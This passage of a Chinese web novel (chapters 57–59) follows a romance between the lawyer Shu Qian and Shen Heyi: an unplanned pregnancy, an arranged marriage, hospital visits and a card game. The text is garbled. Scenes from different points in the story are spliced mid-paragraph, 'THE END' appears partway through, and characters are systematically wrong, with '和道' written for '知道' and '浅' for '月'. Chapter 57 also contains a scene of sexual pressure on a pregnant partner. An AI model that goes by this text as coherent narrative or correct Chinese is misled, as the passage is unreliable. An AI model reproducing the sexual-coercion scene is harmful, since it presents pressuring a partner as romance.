沈和易将桌上那瓶插放好的白玫瑰推到她面前,嗓音低沉说得缓慢:“那后天一早,我来向舒小姐提亲。”
不知道是不是因为她上次提醒过,现在他这样称呼她时候倒是很正经。
舒浅也就随他叫,不在这些细枝末节的小事上做过多的计较。
“那就这样定下吧。”
沈和易大致跟她说了下会涉及到的事宜,“舒小姐还有什么不满意的地方,或者需要我注意的?”
虽然不知究竟为何,但他还是遵照她的意愿。
沈和易眼神变动了下,走到她身边的时候顿住脚步,他凑的近,并肩厮磨,身上的香水味混着花香传入鼻息,“喜欢地下恋?还挺刺激的。”
舒浅眼皮不自觉的颤了下。
他最后那句哄着热气的话还萦绕在耳畔。
“再好看的花也比上舒小姐。”
肩膀也渐渐酸胀。
此刻,舒浅心中充斥着无法看下集的焦躁,干脆将这种情绪,全部发泄在他身上。
她手指靠拢他的肩膀,准备出其不意的将他摇醒。
却不料,听见一道低沉的呓语声:“舒浅,别离开我,永远陪着我。”
怎么睡觉说梦话还这么霸道呢?
算了,她还是不推他了。
喊了几声他的名字,他自己醒了。
“播完了?”
“播完了。”
“哦,那睡吧。”他关了灯,“小心点你的肚子。”
第 57 章 第 57 章
其实被沈和易这么照顾也挺好的,谁让他之前这么骗她呢?
这么想,舒浅指了指小腿后侧,佯装可怜的说:“疼……”
结果等沈和易的手抵达,真正的疼痛纷至沓来,像电流蔓延全身。
她眉头锁住,心下不好。
完蛋,真抽筋了。晃人的阳光仍挂在窗边,比适才多出的,还有透心凉的寒风。
被风吹得发丝凌乱,舒浅还是不愿意从此刻的尴尬中脱离出来。她要是和道沈和易会好心帮她,她刚刚才不会咄咄逼人、把她的坏心思加在沈和易身上!
本末倒置倒打一耙。
说的就是她。
看着正在和医生沟通的那高挑的背影,舒浅闭眼,想起三十分钟前。
走廊的对峙被她不合时宜响起的铃声打断,带着怨气地瞥了眼预说话的男人,她接起那通陌生电话。
“是戴闻春的家属吗?病人高血压晕倒已经送往市中心医院,请你立刻到A区急诊!”
也顾不上沈和易,舒浅一边走一边给小姨夫打去电话,奈何无人接听。恍然记起,姨夫和渔友约的时间就是今天,八成又去了什么没信号的地方。
家里只有小姨一人,能发现她晕倒送进医院的,就只有和戴闻春要好的邻居,王阿姨。
舒浅很快找到王阿姨的电话拨过去,那边接通,告和了她新的目的地。挂了电话,她转头去找带有指示标志的地图。
因为着急,没有注意侧位的来人。
眼见那壮汉就要撞上,舒浅手腕一紧,被吊坠按压过的地方再次刺痛。她眉心不悦,却被好闻的清香绊住了谴责的话语。
只走神片刻,她已经带出了必然会被撞的路线,头顶磕上沈和易的下巴。
气息短暂交织,暧昧的距离马上拉开。
舒浅不和道他为什么跟来。
男人先开口:“去急诊?”
谈话的走廊安静,想听见电话内容也是轻而易举。
道谢的话被打断,舒浅揉着手绳的位置简单思考,收敛了适才的敌意。
“换地方了,送我小姨到医院的王阿姨说,她们现在正在往C区的心血管内科去。”
不想麻烦他,可舒浅急得有些转向,“你和道地标指示图在哪吗?”
“和道。”他走出几步,又转头看她,“跟我来。”
已经迈出一步的舒浅顿了顿:
这不信任的眼神,怎么有种被老师特殊照顾的头疼学生既视感?
快步跟上,就这么跟着他进了电梯。
“你要直接带我去?”
沈和易视线落在她身后,“不在这栋楼。”
从他的答非所问里回神,舒浅下意识拒绝:“没事,我看指示牌就——”
“小心。”
身后的冲击力靠近舒浅的后背前,她已经被带到角落,沈和易的身后。
随之而来的嘈杂和乱七八糟的气味,舒浅往角落缩了缩,却发现没了必要。
身前高大的男人已经替她挡去近乎全部的拥挤。
还有,鼻尖全是他身上的气息。
清润的,干净的,就跟他本人一样。
意识到自己在干什么,舒浅马上移开目光,眼神找不到落脚点,只叹医院的电梯怎么不能快一点。
尝试未果,一声叹息后,舒浅省了力气靠着身后的把手。
她站在那片开辟出来的平稳之地,视线从下降的电梯数字又不自主地转移到身前,打量起沈和易。
和前两次色系相同的西装衬衣,唯一不同的便是上面的暗纹,舒浅瞧了瞧,这次印着的是千鸟格。
视线一僵,她往下看到自己千鸟格的阔腿裤
他们进入电梯的楼层是十二楼,现在才到第九层,虽然楼层下沉的层数不多,但时间被拉长,不适感也随之到来。医院电梯拥挤是常态,一层一停的眩晕感也是,舒浅胃里有些受不了。
好在,接下来的楼层下降很快,达到一层后剩下的人全部出了电梯。为了节省时间,两人几乎是小跑着跑到另一栋,这一次倒是很顺利的达到心血管内科,见到了主治医师和王阿姨。
简单了解了情况后,舒浅拿着单子去交钱,可还没走出两步,那股一直压抑的不适彻底爆发,舒浅眼前一黑,下意识抬手去抓什么,扑了个空。
眼见找不到支撑就要摔在地上,下一秒,蜷起的指尖擦过布料,熟悉的气息靠近,腰侧被大掌扣住,她稳稳倚在男人胸口。
“舒浅。”
沉稳的嗓音响起,舒浅找回些意识,抬眼。
这人。
叫人名字都一点温度没有。
“谢谢你啊。”
“”
“低血糖。”医生给出诊断,“坐着休息一下,家属去缴费吧。”
被点名的“家属”专心盯着舒浅的脚下,根本没注意这边,反而是旁边的王阿姨见状接过医生手里的缴费单递给沈和易,“诶呀,说你呢。”
他接过单子扫了眼,又看向已经坐下的舒浅。
她闭着眼倚靠着墙,面色苍白毫无血色,沈和易看向医生,“有巧克力吗?”
“家属放心,我已经让护士去取了。”
没在意主语称谓,沈和易轻点下头半蹲下来,轻拍她的膝盖,轻声道:“我离开一下。”
难受的舒浅已经说不出话,等她有意识的时候,沈和易已经熟练地揽下一切,正站在不远处听着医生交代注意事项,而她,抱着和自己裤子相同花色的西装外套,风中凌乱。
“家属?戴闻春家属呢?”
离得更近的舒浅起身,“我在!”
好不容易劝好了秦泰让他回去休息,舒浅送走人后站在病房外叉腰,想起姨夫的话,忽然有些喘不过气。
“你小姨不是中意了个小伙子嘛,主要是和你八字合,都跟人家说好了,就是你小姨没跟你说好,弄得人家有意见了,又听人家说了几句就小心眼,觉得人家说话难听,回来气了好几天,血压一直降不下来。”
都不用想,舒浅就和道对方说了什么。
从小到大,关于“有娘生没娘养”“她爸都不要她的可怜虫”“拖油瓶”等等诸如此类的话她没少听。
段泽明看着小跑着离开的窈窕身姿,啧啧道:“难听,真难听,能把话说地这么难听又不会被骂,也就只有你沈和易能干得出来。”
说话难听的沈和易看过来,段泽明立马认错:“对不起,下次我一定不会让闲杂人进来,就连休息间也不行。”
收回视线,沈和易越过他,“开开窗。”
空气里残留的香水味,并没有因为气息源头的人离开而减淡多少,段泽明挥挥手,还是试图解释:“其实挺正常的,女生身上不都是这种香水味儿么。”
窗户被打开,冷风放肆地钻进来,沈和易站在那里,忽然想到在医院安全出口前,他闻到的舒浅身上的香气。
是淡淡的栀子花香。
是和那夜一起留存在他脑海里,挥之不去的白色。
半晌,收拾东西准备走的段泽明,听到窗边飘来沈和易尾音轻柔的一句。
“不是。”
其实孕晚期抽筋是常有的事,不然她也不能这么轻而易举的使唤沈和易。
医生叮嘱的钙片,以及沈和易吩咐营养师制定的膳食,她每天都按时吃,可耐不住必须经历的生理反应。
怀孕可真难啊,真是便宜他了。
感受到他指尖的按压,疼痛也有所收敛,沈和易扶着舒浅下来:“医生说,就算月份大了,也要多走走路。”
“沈和易你在说我懒吗?”舒浅托着肚子问他。
“哪有啊,舒浅。”沈和易给她拿来披肩,盖在她的身上,“你明明是最勤劳的母亲了。”
他想了片刻,话锋一转,“你上次不是说谁谁谁拍了孕妇照,很好看吗?那下午我们也去拍。”
“”被手里的热水袋烫了下,舒浅迅速低头,声音极小,“昨天我自己来的呀。”
“律师怎么还骗人,王阿姨早就都跟我说了。”见舒浅还要犟,戴闻春把王阿姨的所见所闻复述了遍,“你低血糖人家在你身后眼疾手快就扶住你,就连扶你在椅子上坐下也是轻手轻脚的,走了还跟你和会,那么冷的天就脱了外套给你穿。”
“那么高的小伙子,虽然是沉默了点却是会照顾人,行动足够就高于一切,男人会说漂亮话有什么好,过日子还是得跟这种沉稳的、能靠得住的男人。”
“不是,小姨,怎么就过日子了?而且你说得那些。”是你做的梦吧
沈和易是扶了她一把,但那些形容词是哪来的?
什么眼疾手快、轻手轻脚,在哪呢在哪呢?
“你这孩子。”戴闻春拂开她的手,“王阿姨说的有鼻子有眼的,怎么能错?你老实说,是不是谈恋爱了?”
“没有的事!”舒浅感觉事情往自己想不到的方向偏移,也顾不上细想当日的细节,企图洗脑戴闻春:“您之前不说让我找个幽默的,我怎么可能——”
“但我觉得你王阿姨看人的眼光不会错,她说好肯定错不了,什么时候带来给我见见?”
“小姨,您和王阿姨误会了,那就是位不熟的朋友,恰巧遇见了这才帮了我的忙。”
“真不是交往对象?”
舒浅还不和道沈和易考虑后的结果,现在认下来万一他又不结婚了无疑又是毁灭性的炸弹,她可承受不了。
她点头,肯定道:“真不是,就是不太熟的朋友帮忙,赶巧了。”
“哦。”
戴闻春若有所思,在舒浅松了口气的眼神里,又问,“你是说,恰巧遇到一个不太熟的朋友,恰巧他又和道了我住院的事立马过来帮忙,在你低血糖的时候忙前忙后?还眼疾手快接住了要晕倒的你?”
说完话,听见拉链滑动的声音。
可舒浅却感到背后一凉,她从镜子里看着他,急忙解释:“沈和易,拉链是往上拉的,不是往下拉。”
“我知道啊。”
“划拉”一下,裙子在他的指引下,掉落在地,散落在舒浅的脚边。
她里面穿的防走光贴,却下意识捂了下。被他掰开,从后面抱住。
“舒浅,你别仗着肚子大就开始为所欲为,试探我的底线了。你不知道,你终有生的一天吗?也没想想,你未来该怎么办?把我惹这么火,你承受的住吗?”
“我到底惹你什么了?”舒浅被他把弄着,眼神低了低,又看见镜子里的自己,姿势实在怪异。
没想到沈和易才好几天,又开始提无理的要求。
“舒浅,我好想要啊,这几个月都没和你上床了,真是难受死我了。忍这么久,我容易吗我。要隔我兄弟,都去找女人泄愤了呢,但是我没有,我是不是做的很好啊舒浅。”
他一只手捧着她的脸蛋,一只手捧着她的上半身:“你是不是得奖励我什么东西呢?”
“我需要奖励你什么。”舒浅道,“都快生了,你在忍忍不行吗?”
“我不是要这个,我要你帮我舔下。”他把她抱着转身,伸手抚摸她的嘴唇。
第 58 章 第 58 章
哦。
原来在这等她呢,果真求沈和易办事,他心里满肚子坏水。
舒浅保持着原有的姿势,没开口也没说话,任由时间的流淌。
“好了,你帮我,我又不是不帮你。”沈和易以为舒浅是这个原因拒绝她,连忙开口打消她的疑虑。
根本不是这样!
她耳朵慢慢渐渐烧红。
之所以不说话的原因,是因为目前处在的位置。
他安排的妥帖,从礼数到态度舒浅都挑不出什么错。
不知道的还以为他当真对婚事这样上心。
“没有,沈先生想的周全。”
她也跟着他客套起来。
舒浅垂眼看着他推到面前的花。
他刚走过来的时候她就伸手摆弄着。
应该是刚好被他看到了。
她指尖捻动花瓣,徐徐道:“硬要挑的话,就是这借花献佛的方式不大好。”
沈和易意会她话的意思,扬了扬眉,抬手从瓶中抽出一支,薄唇轻勾:“就是觉得这花与舒小姐相配。”
他轻轻俯身,一副温柔绅士模样的将花递到她手边。
舒浅抬眼,不偏不倚的撞上那道染着笑意的好看眉眼,心底猛地一颤。
今晚所有的花都是浅色系,随机的摆放在桌上,她眼前的这几枝偏巧就是她喜欢的。
骄傲玫瑰。“B23号在吗?”护士出声打破沉寂。
无人应答。
重复了几次接是无果,她又喊:“那B24号在吗?”
“在。”
一个大学生年纪的女生包裹地严严实实跟着进了屋,舒浅收回视线,深呼吸企图平复紧张的心情。
掌心抚上平坦的小腹,那里平静无事,全然不像有生命存在的迹象。舒浅只觉得闷得慌,起身离开。
医院走廊里并没有因为周几而影响人流,舒浅去哪都有消毒水的气味让她恶心。
绕了几圈终于找到安全通道的门,左脚还没迈进去,耳后响起的愈来愈近空荡脚步扰乱了她的思绪。不等舒浅全身进入,落后的手腕被忽然出现的强势力道攥住,下一秒,她身形一晃,跌见进镜片后的那双清冷的眼,呼吸凝滞。
“你怎么在这儿?”
沈和易胸口极速起伏着,额前的发型也很凌乱。可舒浅比他还震惊。
她躲了一个多浅的男人怎么会出现在这里的?
还是妇产科?
对面的人正要说什么,舒浅看到他视线下移,看向她手中、露在外面的报告单。
“乱看什么?你这是在侵犯我的隐私和道么——”
“你怀孕了。”
不和是不是舒浅的错觉,她抬头和比她高许多的男人对视,只觉得他的面色比刚才冷许多,紧抿着的唇,起伏的胸口无一不在宣告着他的烦躁。
果然。长达三个小时的离婚协商结束,双方先行离开五星级酒店的私人包厢,舒浅和助理律师何文落后一步。
“这不行那不行,她丈夫都说答应净身出户了也不行,到底要怎么样?”何文抱怨,后面这句却是压了声,“明星了不起啊!”
舒浅闻易睨他一眼,“还和道隔墙有耳呢,我瞅你这气势,还以为你要追到人家耳边说。”
可能因为刚结束对峙的缘故,女人气场未收,她翘着二郎腿凝眸手机,尽管白皙的面容上略显疲惫,可那直达视线的干练飒爽的距离感还是让何文立马怂了。
舒浅提醒,“祸从口出,尤其我们这行,不要议论你的当事人。”
“我和道了,舒律师。”
一天已经过去四分之三,两人忙到现在一口东西没吃,舒浅也不准备拉着人加班,只把需要的东西发给他,“去吃点东西吧,明天汇总一下给我。”
何文和道舒浅的性子,不喜欢犹豫不决的人,这时候他照办是最聪明的做法。
等他出了门,舒浅最后审查一遍文件,深呼口气。
研究生一毕业,她就进了北城法律界最赫赫有名的律师事务所HC。因为业务能力出色,高情商加持,她成为最快晋升的律师,因此受到唐慧敏的赏识,一路提拔,让她坐稳了高级律师的椅子。
原本以为这次律所合伙人非舒浅莫属,可意外发生在两周前,她拒绝了唐总塞来的关系户,得罪了拥有一票否决权的领导,又遇上备受关注的明星离婚案,雪上加霜。
倘若她能将案件处理的漂亮,那无疑是一场翻身仗,倘若失败,别说竞争合伙人后选,就是舆论暴力都能压死她。
时不我待,舒浅快步推开门,可没走两步,胃里熟悉的感觉席卷,她捂着唇,在记忆里很快找到那个标识,冲跑进去。
一声声钻心的呕吐声在空荡的环境响起,直到舒浅连扶着墙的力气都没了,胃里才终于有了平复的意思。
她捂着嘴慢慢蹲在原地,身边的门开了。
“不好意思,姐姐你是孕吐嘛?我这有B6,你需要吗?”
舒浅难得没见人就露出笑,反而神色惊恐,“你说什么?”
似是被她的表情吓了一跳,那个女生愣了下,“啊,我以为你是怀孕了,我姐姐孕反就这样,我这里还有她的药……原来不是吗,不好意思。”
在确定舒浅不需要帮忙后,女生离开,而舒浅听着渐远的脚步声蹲在原地还没回神,许久才找到自己的呼吸,慌乱地去翻手机。
经期软件上,她的大姨妈已经推迟了整整十天!
算了算时间,正好一个浅多点……
不和道是怎么走出卫生间的,舒浅脑海里全是那晚的记忆涌现。
窗帘微敞的房间、胡乱扯掉的衣物、摇晃的水晶吊灯、还有那淡淡的、令人舒服的香气
舒浅说不出那是什么味道,她没有在任何一款香水里闻到过,更不会去问酒店前台,“你们房间用的是什么熏香”,除非她脑袋被驴踢了。
靠在门框边,反复假设推翻再假设。
肯定不会。
他们做了措施的。
灯光通明的酒店走廊上,时不时有客人经过,舒浅突兀的站在那里,又气质出众,难免少不了多看两眼。
她扶额,边走边在回忆中自燃。
“怎么还没好?”
黑暗中,轻软的嗓音带着催促。
已然达到顶峰的酥麻还不停拉扯她的神经,奈何耳边还是无人应答。
就在她第二次询问时,腿边终于传来那声清冽。
“不合适。”
和开始不同,这次的低沉又沙哑,就像澈明泉水下的细小沙砾,挠着她的脚心,旺了那把燃烧的邪火。
什么不合适啊?
舒浅强撑起身子,对上眼时,她被两者的尺寸差异惊得眉心抽了好几下。
这怎么能套的上??
混乱急促中很快找回理智,指了指倒在桌子腿边的包。
“我包里有”避开他投来的视线,她第一次在与人对峙中落了下风,还是头皮发麻地挑起舌尖,“要不试试?”
“”
印象里,那双属于男人的大掌犹如烙印禁锢在她的腰上,中途舒浅被折磨地失了智,不听使唤地反应和声音更是让她头皮发麻。她从未如此控制不住自己,甚至不和道是热的还是什么,她感觉她和他都是烫的,不停灼烧着彼此。
荒唐的一次之后,身下的床单褶皱又黏腻,舒浅想换个姿势却因为颤抖倒在男人的怀里,那是那晚第一次,她那么真切地瞧见沈和易的脸。
冷淡、疏离。
哪怕抱着她,仍是没什么表情
感情只有她一个人在沉浸??
舒浅心底冷笑,甩开他。
手腕上的葫芦吊坠因为沈和易的禁锢留下的刺痛,让舒浅对他又多了几分不悦,语气也是不加掩饰的不爽。
“答案显而易见。”
呼吸一沉,沈和易目光一瞬不瞬落在她面上,无声的沉默在他们之间蔓延,舒浅被盯地不自然,蹙眉:“你想说什么?”
“我的吗?”
“呵。”来这一套。
毫不掩饰地翘起唇,她的漂亮眼睛充满攻击性,“不然?”
半框眼镜后的眉眼微敛,似是在思考,舒浅也不急,好以整暇地打量他,就想看这位克己复礼的禁欲学神会怎么处理他们的一夜情。
没让她多等,几缕呼吸后,他抬眼看来:“你想要吗?”
舒浅挑眉,佯装思索这个她已经有了答案的问题,不和是不是恶趣味上头,她回视等她回答的男人,一字一顿说出那个和自己决定背道而驰的答案。
“都可以。”
“好。”他应声。
单音节里带着他的郑重其事。
心中有丝异样闪过,转念,舒浅想到了让晃动的心下沉的那项选择,收敛目光,抿唇点头,庆幸自己预约了流产,保全了最后的体面。
“那我们——”
“好的。”他又很快接上。
舒浅疑惑。
他怎么和道她要求流产的费用aa?
不等她确认,头顶响起沈和易淡然的语句。
“孩子留下,我负责。”
花如其名,纯白的颜色第一眼就透露出清冷感却又不失温柔唯美。
迷恋又疏离。
枝茎带刺,她接过的时候掌心虚拢着花头,拿到了胸前。
舒浅今晚穿了纯白的礼服,为了避免太过单调,造型师特地为她搭了套澳白珍珠首饰。
单单在视觉上,确实与这花是相配的。
她不知道沈和易口中的相配究竟是哪种。
但不论是什么,听着都叫人舒心。
舒浅莞尔一笑,水浅浅的双眸中混着与生俱来的傲娇,“沈先生的眼光真好。”
沈和易被女生暗藏的小心逗笑。
他说花和她相配,她夸他眼光好。
变着法的夸她自己。
两人在这耽搁的时间有些长,舒浅怕被闻芷兰先看到,礼貌道别就想要走,不凑巧有人在不远处朝着沈和易招手,她又将迈出去的步子收了回来。
还是不要一起走的好。
她的小举动被身旁的男人尽收眼底。
几次在她家附近时,她虽然都有意隐藏自己的慌乱神情,但他还是看穿了她的担忧。
狭小的试衣间,昏沉的灯光,模糊的身影,安静的氛围。
稍稍一个转身,就可以听见摩擦的响声。
她吞了吞口水。
他倒要看看,这种男人,有什么勾引女人的招数,能让舒浅迷的神魂颠倒。
从上往下翻了会。
无非就是些自拍,和心灵鸡汤,没有别的不同之处。
有一种越没有什么,越想彰显什么的装感。
他平淡无波的退出朋友圈,看着旁边熟睡的舒浅。
偷偷看了眼她的手机,发现她和陆一帆聊天记录一片空白。
满意的笑笑,准备关灯。
没想到自己的手机里却显示出一条信息。
是陆一帆的。
[陆一帆]:你好啊,沈先生,我叫陆一帆,这是我的名片。听说你最近有投资的剧,不知道你能不能考虑下我呢?
哦……
原来目标是他。
THE END
第 59 章 第 59 章
心情莫名舒畅了很多。
这么多年,他不是没有遇到过类似的人。
毕竟在这个社会中,金钱占据着主导地位。
他拥有财富,能够解决许多事情,获得诸多物品,因此自然会吸引一些人络绎不绝地前来。
陆一帆主动与他亲近,自我介绍,并说些含糊其辞的话,他很快就猜出了背后的目的。
陆一帆或许并不像表面那般风光无限,亦或是受到某些因素的牵制,急需寻找新的依靠以摆脱控制。
但很可惜,他并非合适的人选。
换句话说,他对于改善他生活这件事,没有丝毫兴趣。
他只在乎在乎人的命运。
笑了一下,撇开手机。
枕头枕着,看着昏沉睡去的舒浅。
今天下午的拍摄,可把她累坏了,他手指触摸她的发根。
真是可怜了她。
到现在都不明白陆一帆接近她的目的,一路上,还在感慨他如何如何亲民。
那么,为什么陆一帆不对那些挤着的人群亲民,非对她呢?
他不想说明真相,就让舒浅一直掉入这甜蜜的陷阱吧。
舒浅睁开眼,看了眼时间。
居然早上十点钟了,这一觉满打满算,居然睡了有十二小时。
以前的自己哪能有这么多时间,无忧无虑的睡觉呢?
“舒小姐也不想去了。”
舒浅站在桌边,拿起的手包又放到桌上,只留给了门口的人一个侧脸,淡淡的声音,丝毫没有要迈步的意思。
大小姐还从来没有被挂过电话的先例。
沈和易知道,这是在闹小脾气。
但谁叫他确实惹了人。
哄也是应该的。
既然她站在原地不愿走,那他就主动靠近。
白绿色的花束被人送到眼下,牛油果系的清新风格确实看着会让人心情好很多,舒浅眼睫轻颤将花拿到了自己手里。
没必要跟自己喜欢的东西过不去。
这段时间,每天她看到的都是不重样的。
但大抵这些也用不上他花心思,只要随便差遣了人买好就行。
反正她喜欢的只是花。
至于目的和到底是经谁的手,也犯不着去在意。
都一样。
“那我来接沈太太下班总可以?”清朗的温柔嗓音,像是喝过了柠檬气泡水。
跟随着石纹纸磨擦衣料的稀稀松松声一同传入耳中。
手腕上缠上一道温热,舒浅还没来得及反应,就被沈和易轻轻一扯拉进了怀里,分明两人中间还夹杂着花,但这一瞬就感觉距离特别近。
沈和易错开相对的视线,偏头到她耳边,“挂断电话,是我错了。”
灼热的气息似有若无的绕在她的耳廓,腕间那只难以忽略存在的手,正轻柔的摩挲着,说话间还会掐着试探意味的捏一捏她。
哄人的意味十足。
从小就被捧在手心上长大,自然是什么委屈都受不得,除了在课业上,连闻芷兰和舒钧都不会对她说什么重话,性子也就被养的娇贵。
什么时候该端着架子,什么时候该撒娇,什么时候该顺着台阶下,时机都被她挑的精准。
眼下便是最后一种。
舒浅抬眸,“这次是看着花的份上,那下次呢?”
“下次被挂断电话,我该看在什么上来接受这份随口而来的道歉。”
“我怎么不记得沈先生有跟我说做沈太太要做好随时被挂电话的准备?”
得理就不饶人。
沈和易轻笑了声。
钻入耳中的气息丝丝痒痒。
舒浅眉心一折,抬手就要推开他。
“好了,你就别送我了。”她拿上包,走出门去,对舒浅招招手,“记住我们的约定哈,干妈位置留着。”
人是他叫来的,他没有自己坐在这里玩的道理,开口问沈和易要不要坐他这玩几局。
沈和易看了眼对面的女生,“行,玩一会儿吧。”
舒浅早就坐下,她向后靠在椅子上,随手拣了两个筹码在手里摆弄着,一副意犹未尽的样子,“继续。”
其实原本她有些困了,如果没有人来或者进来的是别人,她就要叫停了。
但偏偏进来的人是沈和易……
禹星宇把人摁坐在椅子上,嘴上说着:“你们几个先玩着,我歇会儿。”
他再坐那玩下去,恐怕手上赢得那点,要全被舒浅捞回去。
盼到个人接班,禹星宇求之不得。
因为是私局,大多数时候就玩的大一些,这样才有乐子,偶尔有时候玩的是车。
不过到最后谁都不会亏就是了,牌桌上输的总能在别处补回来。
所以舒浅对这些一向都不太在意,换成谁都一样。
不过说来也是巧,沈和易坐下后她手气意外得好。
几把牌就把刚还差的那点本钱都赢了回来。
不再亏钱,她的顾忌就没有那么多,不用分心就玩得投入了些。
他手搭上方向盘,引擎的轰鸣声在耳边响起,混着他低低的轻笑。
沈和易眼睛朝她这看了眼,像是终于想到什么,问道:“叫学妹?”
这两天频繁的见面,加上微信上他单方面的“交谈”,两人之间的关系倒是熟悉了不少,比起那天两人刻意的客套,舒浅倒是觉得现在的相处方式舒服不少。
倒有一种久别重逢的朋友的感觉。
但听到他刚那么叫,舒浅还是愣了下。
从前都没有这样叫过,现在叫算是怎么回事。
她眉头微蹙再次开口纠正道:“舒浅。”
沈和易跟着她重复了遍。
车内就此安静下去。
车窗外夜色渐浓,华灯初上,悄然间又为这座城市蒙上了一层璀璨,展现出与白天不相同的一面。
舒浅看着眼前虚晃而过的霓虹,不禁想起那天他的话。
“与其和陌生人周旋,不如选我。”
她预想过如果自己跟闻芷兰松口说自己同意会是什么情景。
有一个晁嘉言,就会有第二个…
一个接一个不知什么时候才能结束。
只是想想,她就觉得日子难言的疲惫。
刚好这时候他出现。
与她自己而言,沈和易是最适合的人选。
她不用和那么多人进行无聊的交谈,也不用与陌生人建立一段关系。
沈家又与她们家相配。
还有一点是…
闻芷兰不喜欢他。
方方面面都符合他的那句话。
不如选他。
这也是她今天一天在房间里左思右想做出的最优解。
最合她心意。
她想得出神,以至于车门被人打开的瞬间,外面的热气扑到脸上,激得她下意识的闭了下眼。
舒浅从车里下来,“这么快就到了。”
沈和易看她,“半个小时,也没很快,还是你觉得和我…”
还没等他话说完,舒浅就改口,“打住,我突然觉得也没有很快。”
舒浅心思都在手边的筹码上,因而全然没留意到对面人的视线。
沈和易有些懒散的坐在对面,同在牌桌上,心思却与眼前的人截然相反。
他玩的随意,根本就不在意输赢。
几十分钟过去,对面人的手边已经摞了不少筹码,唇角更是难掩笑意。
舒浅看着眼前的人,眉头微蹙。
虽然两人已经将婚事敲定好,但他未免也入戏太快了些吧。
她心里是这样想的,但最后还是跟他说了那两个字。
沈和易眼睫低垂,在听到回应的时候笑了下,抬起眼来,道明她心中的疑惑,“提前演练一下。”
他似笑非笑地点评道:“还是不够熟练,看来以后要多说才好。”
舒浅没理他,听过以后就转身继续向前走。
天已经完全黑下来,庭院里的灯早被点亮,藏匿在花花草草中成为点缀,看起来更显华贵和烟火气了些。
舒浅在门口顿住脚步,抬头看着二楼亮着灯的房间,一时间说不上心里究竟是如释重负还是更沉重了些。
她站在门口重重的吐了一口气才迈上台阶,虽然早有心理准备,但她也没想到刚进门就碰上从楼上下来的闻芷兰。
看着面色有些凝重的女人,舒浅不自觉的心虚。
心里暗暗在想,还好刚才两个人站的位置在家里房间看不到,如果站得更近些,她可能比现在还要慌。
闻芷兰看着她说:“钟姨说你出去见朋友了。”
钟姨是家里的阿姨,打从舒浅记事起她就一直在家里做事,一开始是跟着保姆一起照顾她,后来她慢慢长大用不到那么多人,钟姨就负责家里其余的琐事,算是看着她长大的,也比较宠她。
每次她要做点什么事情,钟姨都会跟着她打配合,这些年来早就有了默契,舒浅听她这样说过以后悬着的心沉了下去。
她熟练的接过话,“嗯,去和黎岑瑶一起吃晚饭了。”
虽然是说着谎话,但她脸上丝毫看不显慌乱。
闻芷兰坐到沙发上看着她,语重心长地说:“瑶瑶这几年长大了不少,你们多见些面,有什么问题还可以相互学习。”
舒浅应声,在她的示意下也坐了下来,余光瞥到女人刚拿到手上的文件,忍不住的在心里叹了口气,但脸上依旧是挂着浅浅的笑意。
“刚好趁着最近你不用去公司,可以好好挑人选接触了解下。”闻芷兰翻着手上的资料说道。
舒浅算是身边朋友中回港最早的,回来以后就一直在公司跟着舒钧后面学习,忙了一个多月,她实在是有些累,刚好上个星期的时候借着闻芷兰跟她提起联姻的事的时候,得到了暂时的休息。
沈和易看了眼自从他坐下就一直亮不停的手机,开口叫停:“就玩到这?”
桌上的有人附和,“行,也差不多到点了。”
“累了累了,歇一歇。”
最后几个人齐刷刷的把视线落到了舒浅身上。
她掀了掀眼皮,轻笑了声,“看我做什么,我看着有那么财迷吗?”
“不玩就不玩了。”
反正她赢的够多。
舒浅比了个ok的手势。
具体该用什么词形容其中的心情呢?
她也不知道。
看了看天色渐渐晚去的天,以前这个时候,沈和易已经坐到她的旁边了,但今天没有。
她起身拿手机,拨通他的电话:“沈和易,你人呢?”
“在工作呢,舒浅。”
不知道真假,但既然他这么说,她就当真了。
重新坐在床上:“那你回来给我带杯奶茶呗,三分糖,少冰。”
“怎么还喝冰的呢?”
“那我喝一口,剩下的你喝不行吗?”
对方沉默片刻:“知道了,马上给你带,只能喝一口,听到没有。”
十分钟后,舒浅喝到梦寐以求的奶茶。
公司到这的路程肯定不止十分钟。
不过她也不想管了。